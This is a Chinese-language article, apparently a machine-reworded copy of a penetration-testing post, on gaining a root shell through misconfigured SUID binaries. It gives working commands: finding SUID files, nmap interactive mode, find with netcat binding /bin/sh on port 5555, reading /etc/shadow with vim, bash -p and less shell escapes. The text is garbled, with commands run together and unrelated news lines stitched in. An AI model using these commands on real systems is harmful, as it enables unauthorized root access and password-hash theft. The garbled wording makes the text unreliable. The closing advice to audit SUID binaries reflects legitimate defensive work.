针对SUID能够提权Root Shell的分析探讨

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时取得该文件具有者的权限。假如具有SUID权限,那么就能够应用系统中的二进制文件和工具来停止root提权。
已知的能够用来提权的Linux可执行文件有:
Ø Nmap
Ø Vim
Ø find
Ø Bash
Ø More
Ø Less
Ø Nano
Ø cp

下面的命令能够发现一切的系统中运转的SUID可执行文件
find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
上面的一切二进制文件都能够在root权限下运转,由于他们的owner是root,并且他们的权限中含有s。s权限使普通运用者暂时具有该文件所属主/组的执行权限。
ls -l /usr/bin/nmap-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
Nmap
早版本的Nmap(2.02到5.21)有交互形式,允许用户执行shell命令。Nmap也是root权限下运转的二进制文件。
nmap -v
经过参数interactive能够进入交互形式
nmap –interactive
下面的命令能够对shell提权
nmap> !shsh-3.2# whoamiroot
Metasploit也有应用SUID Nmap停止提权攻击
exploit/unix/local/setuid_nmap
Find
假如find以SUID权限运转,一切经过find执行的命令都会以root权限运转。
touch pentestlab
find pentestlab -exec whoami \;
主流的Linux操作系统都装置了netcat,能够将该命令提权为root shell。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
衔接开放的端口能够停止root shell提权
netcat 192.168.1.189 5555
id
cat /etc/shadow
Vim
假如vim以SUID运转,就会继承root用户的权限,能够读取系统中一切的文件。
大批组织尝试使用“网络安全挑战赛”来吸引和刺激员工对信息安全的关注。
光一科技:发行股份收购资产事项虽停止,版权服务布局仍持续
vim.tiny /etc/shadow
经过vim运转shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
下面的命令能够以root权限翻开bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Less
Less和more都能够执行提权的shell
less /etc/passwd
!/bin/sh
网安倡议
事实证明,经过配置不精确的SUID执行文件能够停止root shell提权。网安管理员应该评价一切的SUID二进制文件,判别能否需求以高权限的用户运转,特别应该关注能够执行代码和写数据的应用。
公司信息化工作委员会之下应设立信息安全专业工作机构,全面统筹协调公司信息系统安全相关事项的研判决策。

猜您喜欢

安全活动周企业安全负责人员畅谈办公室及网络信息安全基础
CyberSecurity网络安全宣传——勿忘在外时的资产保护
网络安全法网络宣传片 002 国家网络安全的现状与重要性概述
全国检察已提起公益诉讼15件
MAXDELIVERY PORTERSNECKCOUNTRYCLUB
新世代员工蔑视IT政策的应对之道